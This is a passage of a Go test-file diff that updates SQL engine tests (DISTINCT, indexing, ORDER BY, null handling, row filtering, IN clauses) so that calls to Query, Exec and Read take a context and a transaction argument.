@@ func TestQueryDistinct(t *testing.T) { params := make(map[string]interface{}) params["id"] = 3 - r, err := engine.Query("SELECT DISTINCT title FROM table1 WHERE id <= @id LIMIT 2 OFFSET 1", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT DISTINCT title FROM table1 WHERE id <= @id LIMIT 2 OFFSET 1", nil) require.NoError(t, err) r.SetParameters(params) - cols, err := r.Columns() + cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 1) require.Equal(t, "(db1.table1.title)", cols[0].Selector()) for i := 2; i <= 3; i++ { - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 1) require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector["(db1.table1.title)"].Value()) } - _, err = r.Read() + _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() @@ -1987,22 +2020,22 @@ func TestQueryDistinct(t *testing.T) { params := make(map[string]interface{}) params["id"] = 3 - r, err := engine.Query("SELECT DISTINCT amount FROM table1 WHERE id <= @id", params, nil) + r, err := engine.Query(context.Background(), nil, "SELECT DISTINCT amount FROM table1 WHERE id <= @id", params) require.NoError(t, err) - cols, err := r.Columns() + cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 1) require.Equal(t, "(db1.table1.amount)", cols[0].Selector()) for i := 1; i <= 2; i++ { - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 1) require.Equal(t, int64(i*100), row.ValuesBySelector["(db1.table1.amount)"].Value()) } - _, err = r.Read() + _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() @@ -2013,16 +2046,16 @@ func TestQueryDistinct(t *testing.T) { params := make(map[string]interface{}) params["id"] = 3 - r, err := engine.Query("SELECT DISTINCT active FROM table1 WHERE id <= @id", params, nil) + r, err := engine.Query(context.Background(), nil, "SELECT DISTINCT active FROM table1 WHERE id <= @id", params) require.NoError(t, err) - cols, err := r.Columns() + cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 1) require.Equal(t, "(db1.table1.active)", cols[0].Selector()) for i := 0; i <= 2; i++ { - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 1) @@ -2034,7 +2067,7 @@ func TestQueryDistinct(t *testing.T) { require.Equal(t, i == 2, row.ValuesBySelector["(db1.table1.active)"].Value()) } - _, err = r.Read() + _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() @@ -2045,17 +2078,17 @@ func TestQueryDistinct(t *testing.T) { params := make(map[string]interface{}) params["id"] = 3 - r, err := engine.Query("SELECT DISTINCT amount, active FROM table1 WHERE id <= @id", params, nil) + r, err := engine.Query(context.Background(), nil, "SELECT DISTINCT amount, active FROM table1 WHERE id <= @id", params) require.NoError(t, err) - cols, err := r.Columns() + cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 2) require.Equal(t, "(db1.table1.amount)", cols[0].Selector()) require.Equal(t, "(db1.table1.active)", cols[1].Selector()) for i := 0; i <= 2; i++ { - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 2) @@ -2069,7 +2102,7 @@ func TestQueryDistinct(t *testing.T) { require.Equal(t, i == 2, row.ValuesBySelector["(db1.table1.active)"].Value()) } - _, err = r.Read() + _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() @@ -2077,23 +2110,23 @@ func TestQueryDistinct(t *testing.T) { }) t.Run("should return too many rows error", func(t *testing.T) { - r, err := engine.Query("SELECT DISTINCT id FROM table1", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT DISTINCT id FROM table1", nil) require.NoError(t, err) - cols, err := r.Columns() + cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 1) require.Equal(t, "(db1.table1.id)", cols[0].Selector()) for i := 0; i < engine.distinctLimit; i++ { - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 1) require.Equal(t, int64(i+1), row.ValuesBySelector["(db1.table1.id)"].Value()) } - _, err = r.Read() + _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrTooManyRows) err = r.Close() @@ -2104,7 +2137,7 @@ func TestQueryDistinct(t *testing.T) { func TestIndexing(t *testing.T) { engine := setupCommonTest(t) - _, _, err := engine.Exec(`CREATE TABLE table1 ( + _, _, err := engine.Exec(context.Background(), nil, `CREATE TABLE table1 ( id INTEGER AUTO_INCREMENT, ts INTEGER, title VARCHAR[20], @@ -2112,33 +2145,33 @@ func TestIndexing(t *testing.T) { amount INTEGER, payload BLOB, PRIMARY KEY id - )`, nil, nil) + )`, nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE INDEX ON table1 (ts)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1 (ts)", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE UNIQUE INDEX ON table1 (title, amount)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE UNIQUE INDEX ON table1 (title, amount)", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE INDEX ON table1 (active, title)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1 (active, title)", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE UNIQUE INDEX ON table1 (title)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE UNIQUE INDEX ON table1 (title)", nil) require.NoError(t, err) t.Run("should fail due to unique index", func(t *testing.T) { - _, _, err = engine.Exec("INSERT INTO table1 (ts, title, amount, active) VALUES (1, 'title1', 10, true), (2, 'title1', 10, false)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (ts, title, amount, active) VALUES (1, 'title1', 10, true), (2, 'title1', 10, false)", nil) require.ErrorIs(t, err, store.ErrKeyAlreadyExists) }) t.Run("should fail due non-available index", func(t *testing.T) { - _, err = engine.Query("SELECT * FROM table1 ORDER BY amount DESC", nil, nil) + _, err = engine.Query(context.Background(), nil, "SELECT * FROM table1 ORDER BY amount DESC", nil) require.ErrorIs(t, err, ErrNoAvailableIndex) }) t.Run("should use primary index by default", func(t *testing.T) { - r, err := engine.Query("SELECT * FROM table1", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1", nil) require.NoError(t, err) orderBy := r.OrderBy() @@ -2158,7 +2191,7 @@ func TestIndexing(t *testing.T) { }) t.Run("should use primary index in descending order", func(t *testing.T) { - r, err := engine.Query("SELECT * FROM table1 ORDER BY id DESC", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 ORDER BY id DESC", nil) require.NoError(t, err) orderBy := r.OrderBy() @@ -2178,7 +2211,7 @@ func TestIndexing(t *testing.T) { }) t.Run("should use index on `ts` ascending order", func(t *testing.T) { - r, err := engine.Query("SELECT * FROM table1 ORDER BY ts", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 ORDER BY ts", nil) require.NoError(t, err) orderBy := r.OrderBy() @@ -2200,7 +2233,7 @@ func TestIndexing(t *testing.T) { }) t.Run("should use index on `ts` descending order", func(t *testing.T) { - r, err := engine.Query("SELECT * FROM table1 ORDER BY ts DESC", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 ORDER BY ts DESC", nil) require.NoError(t, err) orderBy := r.OrderBy() @@ -2222,7 +2255,7 @@ func TestIndexing(t *testing.T) { }) t.Run("should use index on `ts` with specific value", func(t *testing.T) { - r, err := engine.Query("SELECT * FROM table1 WHERE ts = 1629902962 OR ts < 1629902963 ORDER BY ts", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 WHERE ts = 1629902962 OR ts < 1629902963 ORDER BY ts", nil) require.NoError(t, err) orderBy := r.OrderBy() @@ -2251,7 +2284,7 @@ func TestIndexing(t *testing.T) { }) t.Run("should use index on `ts` with specific value", func(t *testing.T) { - r, err := engine.Query("SELECT * FROM table1 AS t WHERE t.ts = 1629902962 AND t.ts = 1629902963 ORDER BY t.ts", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 AS t WHERE t.ts = 1629902962 AND t.ts = 1629902963 ORDER BY t.ts", nil) require.NoError(t, err) orderBy := r.OrderBy() @@ -2282,7 +2315,7 @@ func TestIndexing(t *testing.T) { }) t.Run("should use index on `ts` with specific value", func(t *testing.T) { - r, err := engine.Query("SELECT * FROM table1 WHERE ts > 1629902962 AND ts < 1629902963 ORDER BY ts", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 WHERE ts > 1629902962 AND ts < 1629902963 ORDER BY ts", nil) require.NoError(t, err) orderBy := r.OrderBy() @@ -2313,7 +2346,7 @@ func TestIndexing(t *testing.T) { }) t.Run("should use index on `title, amount` in asc order", func(t *testing.T) { - r, err := engine.Query("SELECT * FROM table1 USE INDEX ON (title, amount) ORDER BY title", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 USE INDEX ON (title, amount) ORDER BY title", nil) require.NoError(t, err) orderBy := r.OrderBy() @@ -2336,7 +2369,7 @@ func TestIndexing(t *testing.T) { }) t.Run("should use index on `title` in asc order", func(t *testing.T) { - r, err := engine.Query("SELECT * FROM table1 USE INDEX ON (title) ORDER BY title", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 USE INDEX ON (title) ORDER BY title", nil) require.NoError(t, err) orderBy := r.OrderBy() @@ -2358,7 +2391,7 @@ func TestIndexing(t *testing.T) { }) t.Run("should use index on `ts` in default order", func(t *testing.T) { - r, err := engine.Query("SELECT * FROM table1 USE INDEX ON (ts)", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 USE INDEX ON (ts)", nil) require.NoError(t, err) orderBy := r.OrderBy() @@ -2380,12 +2413,12 @@ func TestIndexing(t *testing.T) { }) t.Run("should fail using index on `ts` when ordering by `title`", func(t *testing.T) { - _, err := engine.Query("SELECT * FROM table1 USE INDEX ON (ts) ORDER BY title", nil, nil) + _, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 USE INDEX ON (ts) ORDER BY title", nil) require.ErrorIs(t, err, ErrNoAvailableIndex) }) t.Run("should use index on `title` with max value in desc order", func(t *testing.T) { - r, err := engine.Query("SELECT * FROM table1 USE INDEX ON (title) WHERE title < 'title10' ORDER BY title DESC", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 USE INDEX ON (title) WHERE title < 'title10' ORDER BY title DESC", nil) require.NoError(t, err) orderBy := r.OrderBy() @@ -2414,7 +2447,7 @@ func TestIndexing(t *testing.T) { }) t.Run("should use index on `title,amount` in desc order", func(t *testing.T) { - r, err := engine.Query("SELECT * FROM table1 WHERE title = 'title1' ORDER BY amount DESC", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 WHERE title = 'title1' ORDER BY amount DESC", nil) require.NoError(t, err) orderBy := r.OrderBy() @@ -2446,7 +2479,7 @@ func TestIndexing(t *testing.T) { }) t.Run("should use index on `ts` ascending order", func(t *testing.T) { - r, err := engine.Query("SELECT * FROM table1 WHERE title > 'title10' ORDER BY ts ASC", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 WHERE title > 'title10' ORDER BY ts ASC", nil) require.NoError(t, err) orderBy := r.OrderBy() @@ -2475,7 +2508,7 @@ func TestIndexing(t *testing.T) { }) t.Run("should use index on `ts` descending order", func(t *testing.T) { - r, err := engine.Query("SELECT * FROM table1 WHERE title > 'title10' or title = 'title1' ORDER BY ts DESC", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 WHERE title > 'title10' or title = 'title1' ORDER BY ts DESC", nil) require.NoError(t, err) orderBy := r.OrderBy() @@ -2504,7 +2537,7 @@ func TestIndexing(t *testing.T) { }) t.Run("should use index on `title` descending order", func(t *testing.T) { - r, err := engine.Query("SELECT * FROM table1 WHERE title > 'title10' or title = 'title1' ORDER BY title DESC", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 WHERE title > 'title10' or title = 'title1' ORDER BY title DESC", nil) require.NoError(t, err) orderBy := r.OrderBy() @@ -2534,7 +2567,7 @@ func TestIndexing(t *testing.T) { }) t.Run("should use index on `title` ascending order starting with 'title1'", func(t *testing.T) { - r, err := engine.Query("SELECT * FROM table1 USE INDEX ON (title) WHERE title > 'title10' or title = 'title1' ORDER BY title", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 USE INDEX ON (title) WHERE title > 'title10' or title = 'title1' ORDER BY title", nil) require.NoError(t, err) orderBy := r.OrderBy() @@ -2563,7 +2596,7 @@ func TestIndexing(t *testing.T) { }) t.Run("should use index on `title` ascending order", func(t *testing.T) { - r, err := engine.Query("SELECT * FROM table1 USE INDEX ON (title) WHERE title < 'title10' or title = 'title1' ORDER BY title", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 USE INDEX ON (title) WHERE title < 'title10' or title = 'title1' ORDER BY title", nil) require.NoError(t, err) orderBy := r.OrderBy() @@ -2592,7 +2625,7 @@ func TestIndexing(t *testing.T) { }) t.Run("should use index on `title` descending order", func(t *testing.T) { - r, err := engine.Query("SELECT * FROM table1 USE INDEX ON (title) WHERE title < 'title10' and title = 'title1' ORDER BY title DESC", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 USE INDEX ON (title) WHERE title < 'title10' and title = 'title1' ORDER BY title DESC", nil) require.NoError(t, err) orderBy := r.OrderBy() @@ -2631,7 +2664,7 @@ func TestExecCornerCases(t *testing.T) { engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) - tx, _, err := engine.Exec("INVALID STATEMENT", nil, nil) + tx, _, err := engine.Exec(context.Background(), nil, "INVALID STATEMENT", nil) require.ErrorIs(t, err, ErrParsingError) require.EqualError(t, err, "parsing error: syntax error: unexpected IDENTIFIER at position 7") require.Nil(t, tx) @@ -2640,10 +2673,10 @@ func TestExecCornerCases(t *testing.T) { func TestQueryWithNullables(t *testing.T) { engine := setupCommonTest(t) - _, _, err := engine.Exec("CREATE TABLE table1 (id INTEGER, ts TIMESTAMP, title VARCHAR, active BOOLEAN, PRIMARY KEY id)", nil, nil) + _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, ts TIMESTAMP, title VARCHAR, active BOOLEAN, PRIMARY KEY id)", nil) require.NoError(t, err) - _, _, err = engine.Exec("INSERT INTO table1 (id, ts, title) VALUES (1, TIME(), 'title1')", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (id, ts, title) VALUES (1, TIME(), 'title1')", nil) require.ErrorIs(t, err, ErrIllegalArguments) rowCount := 10 @@ -2651,19 +2684,19 @@ func TestQueryWithNullables(t *testing.T) { start := time.Now() for i := 0; i < rowCount; i++ { - _, _, err = engine.Exec(fmt.Sprintf("UPSERT INTO table1 (id, ts, title) VALUES (%d, NOW(), 'title%d')", i, i), nil, nil) + _, _, err = engine.Exec(context.Background(), nil, fmt.Sprintf("UPSERT INTO table1 (id, ts, title) VALUES (%d, NOW(), 'title%d')", i, i), nil) require.NoError(t, err) } - r, err := engine.Query("SELECT id, ts, title, active FROM table1 WHERE NOT(active != NULL)", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT id, ts, title, active FROM table1 WHERE NOT(active != NULL)", nil) require.NoError(t, err) - cols, err := r.Columns() + cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 4) for i := 0; i < rowCount; i++ { - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 4) @@ -2685,48 +2718,48 @@ func TestOrderBy(t *testing.T) { engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) - _, _, err = engine.Exec("CREATE DATABASE db1", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE INDEX ON table1(title)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(title)", nil) require.Equal(t, ErrNoDatabaseSelected, err) - err = engine.SetCurrentDatabase("db1") + err = engine.SetCurrentDatabase(context.Background(), "db1") require.NoError(t, err) - _, _, err = engine.Exec("CREATE TABLE table1 (id INTEGER, title VARCHAR[100], age INTEGER, PRIMARY KEY id)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, title VARCHAR[100], age INTEGER, PRIMARY KEY id)", nil) require.NoError(t, err) - _, err = engine.Query("SELECT id, title, age FROM table1 ORDER BY id, title DESC", nil, nil) + _, err = engine.Query(context.Background(), nil, "SELECT id, title, age FROM table1 ORDER BY id, title DESC", nil) require.Equal(t, ErrLimitedOrderBy, err) - _, err = engine.Query("SELECT id, title, age FROM (SELECT id, title, age FROM table1) ORDER BY id", nil, nil) + _, err = engine.Query(context.Background(), nil, "SELECT id, title, age FROM (SELECT id, title, age FROM table1) ORDER BY id", nil) require.Equal(t, ErrLimitedOrderBy, err) - _, err = engine.Query("SELECT id, title, age FROM (SELECT id, title, age FROM table1 AS t1) ORDER BY age DESC", nil, nil) + _, err = engine.Query(context.Background(), nil, "SELECT id, title, age FROM (SELECT id, title, age FROM table1 AS t1) ORDER BY age DESC", nil) require.Equal(t, ErrLimitedOrderBy, err) - _, err = engine.Query("SELECT id, title, age FROM table2 ORDER BY title", nil, nil) + _, err = engine.Query(context.Background(), nil, "SELECT id, title, age FROM table2 ORDER BY title", nil) require.ErrorIs(t, err, ErrTableDoesNotExist) - _, err = engine.Query("SELECT id, title, age FROM table1 ORDER BY amount", nil, nil) + _, err = engine.Query(context.Background(), nil, "SELECT id, title, age FROM table1 ORDER BY amount", nil) require.ErrorIs(t, err, ErrColumnDoesNotExist) - _, _, err = engine.Exec("CREATE INDEX ON table1(title)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(title)", nil) require.NoError(t, err) - _, err = engine.Query("SELECT id, title, age FROM table1 ORDER BY age", nil, nil) + _, err = engine.Query(context.Background(), nil, "SELECT id, title, age FROM table1 ORDER BY age", nil) require.Equal(t, ErrLimitedOrderBy, err) - _, _, err = engine.Exec("CREATE INDEX ON table1(age)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(age)", nil) require.NoError(t, err) params := make(map[string]interface{}, 1) params["age"] = nil - _, _, err = engine.Exec("INSERT INTO table1 (id, title, age) VALUES (1, 'title', @age)", params, nil) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (id, title, age) VALUES (1, 'title', @age)", params) require.NoError(t, err) - _, _, err = engine.Exec("INSERT INTO table1 (id, title) VALUES (2, 'title')", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (id, title) VALUES (2, 'title')", nil) require.NoError(t, err) rowCount := 1 @@ -2737,11 +2770,11 @@ func TestOrderBy(t *testing.T) { params["title"] = fmt.Sprintf("title%d", i) params["age"] = 40 + i - _, _, err = engine.Exec("INSERT INTO table1 (id, title, age) VALUES (@id, @title, @age)", params, nil) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (id, title, age) VALUES (@id, @title, @age)", params) require.NoError(t, err) } - r, err := engine.Query("SELECT id, title, age FROM table1 ORDER BY title", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT id, title, age FROM table1 ORDER BY title", nil) require.NoError(t, err) orderBy := r.OrderBy() @@ -2751,7 +2784,7 @@ func TestOrderBy(t *testing.T) { require.Equal(t, "table1", orderBy[0].Table) require.Equal(t, "db1", orderBy[0].Database) - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 3) @@ -2759,7 +2792,7 @@ func TestOrderBy(t *testing.T) { require.Equal(t, "title", row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].Value()) require.Nil(t, row.ValuesBySelector[EncodeSelector("", "db1", "table1", "age")].Value()) - row, err = r.Read() + row, err = r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 3) @@ -2768,7 +2801,7 @@ func TestOrderBy(t *testing.T) { require.Nil(t, row.ValuesBySelector[EncodeSelector("", "db1", "table1", "age")].Value()) for i := 0; i < rowCount; i++ { - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 3) @@ -2781,10 +2814,10 @@ func TestOrderBy(t *testing.T) { err = r.Close() require.NoError(t, err) - r, err = engine.Query("SELECT id, title, age FROM table1 ORDER BY age", nil, nil) + r, err = engine.Query(context.Background(), nil, "SELECT id, title, age FROM table1 ORDER BY age", nil) require.NoError(t, err) - row, err = r.Read() + row, err = r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 3) @@ -2792,7 +2825,7 @@ func TestOrderBy(t *testing.T) { require.Equal(t, "title", row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].Value()) require.Nil(t, row.ValuesBySelector[EncodeSelector("", "db1", "table1", "age")].Value()) - row, err = r.Read() + row, err = r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 3) @@ -2801,7 +2834,7 @@ func TestOrderBy(t *testing.T) { require.Nil(t, row.ValuesBySelector[EncodeSelector("", "db1", "table1", "age")].Value()) for i := 0; i < rowCount; i++ { - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 3) @@ -2814,11 +2847,11 @@ func TestOrderBy(t *testing.T) { err = r.Close() require.NoError(t, err) - r, err = engine.Query("SELECT id, title, age FROM table1 ORDER BY age DESC", nil, nil) + r, err = engine.Query(context.Background(), nil, "SELECT id, title, age FROM table1 ORDER BY age DESC", nil) require.NoError(t, err) for i := 0; i < rowCount; i++ { - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 3) @@ -2828,7 +2861,7 @@ func TestOrderBy(t *testing.T) { require.Equal(t, int64(40-(rowCount-1-i)), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "age")].Value()) } - row, err = r.Read() + row, err = r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 3) @@ -2836,7 +2869,7 @@ func TestOrderBy(t *testing.T) { require.Equal(t, "title", row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].Value()) require.Nil(t, row.ValuesBySelector[EncodeSelector("", "db1", "table1", "age")].Value()) - row, err = r.Read() + row, err = r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 3) @@ -2851,112 +2884,114 @@ func TestOrderBy(t *testing.T) { func TestQueryWithRowFiltering(t *testing.T) { engine := setupCommonTest(t) - _, _, err := engine.Exec("CREATE TABLE table1 (id INTEGER, title VARCHAR, active BOOLEAN, payload BLOB, PRIMARY KEY id)", nil, nil) + _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, title VARCHAR, active BOOLEAN, payload BLOB, PRIMARY KEY id)", nil) require.NoError(t, err) rowCount := 10 for i := 0; i < rowCount; i++ { encPayload := hex.EncodeToString([]byte(fmt.Sprintf("blob%d", i))) - _, _, err = engine.Exec(fmt.Sprintf(` + _, _, err = engine.Exec( + context.Background(), nil, + fmt.Sprintf(` UPSERT INTO table1 (id, title, active, payload) VALUES (%d, 'title%d', %v, x'%s') - `, i, i, i%2 == 0, encPayload), nil, nil) + `, i, i, i%2 == 0, encPayload), nil) require.NoError(t, err) } - r, err := engine.Query("SELECT id, title, active FROM table1 WHERE false", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE false", nil) require.NoError(t, err) - _, err = r.Read() + _, err = r.Read(context.Background()) require.Equal(t, ErrNoMoreRows, err) err = r.Close() require.NoError(t, err) - r, err = engine.Query("SELECT id, title, active FROM table1 WHERE false OR true", nil, nil) + r, err = engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE false OR true", nil) require.NoError(t, err) for i := 0; i < rowCount; i++ { - _, err := r.Read() + _, err := r.Read(context.Background()) require.NoError(t, err) } err = r.Close() require.NoError(t, err) - r, err = engine.Query("SELECT id, title, active FROM table1 WHERE 1 < 2", nil, nil) + r, err = engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE 1 < 2", nil) require.NoError(t, err) for i := 0; i < rowCount; i++ { - _, err := r.Read() + _, err := r.Read(context.Background()) require.NoError(t, err) } err = r.Close() require.NoError(t, err) - r, err = engine.Query("SELECT id, title, active FROM table1 WHERE 1 >= 2", nil, nil) + r, err = engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE 1 >= 2", nil) require.NoError(t, err) - _, err = r.Read() + _, err = r.Read(context.Background()) require.Equal(t, ErrNoMoreRows, err) err = r.Close() require.NoError(t, err) - r, err = engine.Query("SELECT id, title, active FROM table1 WHERE 1 = true", nil, nil) + r, err = engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE 1 = true", nil) require.NoError(t, err) - _, err = r.Read() + _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNotComparableValues) err = r.Close() require.NoError(t, err) - r, err = engine.Query("SELECT id, title, active FROM table1 WHERE NOT table1.active", nil, nil) + r, err = engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE NOT table1.active", nil) require.NoError(t, err) for i := 0; i < rowCount/2; i++ { - _, err := r.Read() + _, err := r.Read(context.Background()) require.NoError(t, err) } - _, err = r.Read() + _, err = r.Read(context.Background()) require.Equal(t, ErrNoMoreRows, err) err = r.Close() require.NoError(t, err) - r, err = engine.Query("SELECT id, title, active FROM table1 WHERE table1.id > 4", nil, nil) + r, err = engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE table1.id > 4", nil) require.NoError(t, err) for i := 0; i < rowCount/2; i++ { - _, err := r.Read() + _, err := r.Read(context.Background()) require.NoError(t, err) } - _, err = r.Read() + _, err = r.Read(context.Background()) require.Equal(t, ErrNoMoreRows, err) err = r.Close() require.NoError(t, err) - _, _, err = engine.Exec(fmt.Sprintf("UPSERT INTO table1 (id, title) VALUES (%d, 'title%d')", rowCount, rowCount), nil, nil) + _, _, err = engine.Exec(context.Background(), nil, fmt.Sprintf("UPSERT INTO table1 (id, title) VALUES (%d, 'title%d')", rowCount, rowCount), nil) require.NoError(t, err) - r, err = engine.Query("SELECT id, title FROM table1 WHERE active = null AND payload = null", nil, nil) + r, err = engine.Query(context.Background(), nil, "SELECT id, title FROM table1 WHERE active = null AND payload = null", nil) require.NoError(t, err) - _, err = r.Read() + _, err = r.Read(context.Background()) require.NoError(t, err) err = r.Close() require.NoError(t, err) - r, err = engine.Query("SELECT id, title FROM table1 WHERE active = null AND payload = null AND active = payload", nil, nil) + r, err = engine.Query(context.Background(), nil, "SELECT id, title FROM table1 WHERE active = null AND payload = null AND active = payload", nil) require.NoError(t, err) - _, err = r.Read() + _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNotComparableValues) err = r.Close() @@ -2966,18 +3001,18 @@ func TestQueryWithRowFiltering(t *testing.T) { func TestQueryWithInClause(t *testing.T) { engine := setupCommonTest(t) - _, _, err := engine.Exec("CREATE TABLE table1 (id INTEGER, title VARCHAR[50], active BOOLEAN, PRIMARY KEY id)", nil, nil) + _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, title VARCHAR[50], active BOOLEAN, PRIMARY KEY id)", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE INDEX ON table1(title)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(title)", nil) require.NoError(t, err) rowCount := 10 for i := 0; i < rowCount; i++ { - _, _, err = engine.Exec(fmt.Sprintf(` + _, _, err = engine.Exec(context.Background(), nil, fmt.Sprintf(` INSERT INTO table1 (id, title, active) VALUES (%d, 'title%d', %v) - `, i, i, i%2 == 0), nil, nil) + `, i, i, i%2 == 0), nil) require.NoError(t, err) } @@ -2985,24 +3020,24 @@ func TestQueryWithInClause(t *testing.T) { require.False(t, inListExp.isConstant()) t.Run("infer parameters without parameters should return an empty list", func(t *testing.T) { - params, err := engine.InferParameters("SELECT id, title, active FROM table1 WHERE title IN ('title0', 'title1')", nil) + params, err := engine.InferParameters(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE title IN ('title0', 'title1')") require.NoError(t, err) require.Empty(t, params) }) t.Run("infer inference with wrong types should return an error", func(t *testing.T) { - _, err := engine.InferParameters("SELECT id, title, active FROM table1 WHERE 100 + title IN ('title0', 'title1')", nil) + _, err := engine.InferParameters(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE 100 + title IN ('title0', 'title1')") require.ErrorIs(t, err, ErrInvalidTypes) }) t.Run("infer inference with valid types should succeed", func(t *testing.T) { - params, err := engine.InferParameters("SELECT id, title, active FROM table1 WHERE active AND title IN ('title0', 'title1')", nil) + params, err := engine.InferParameters(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE active AND title IN ('title0', 'title1')") require.NoError(t, err) require.Empty(t, params) }) t.Run("infer parameters should return matching type", func(t *testing.T) { - params, err := engine.InferParameters("SELECT id, title, active FROM table1 WHERE title IN (@param0, @param1)", nil) + params, err := engine.InferParameters(context.Background(), nil, "SELECT id, 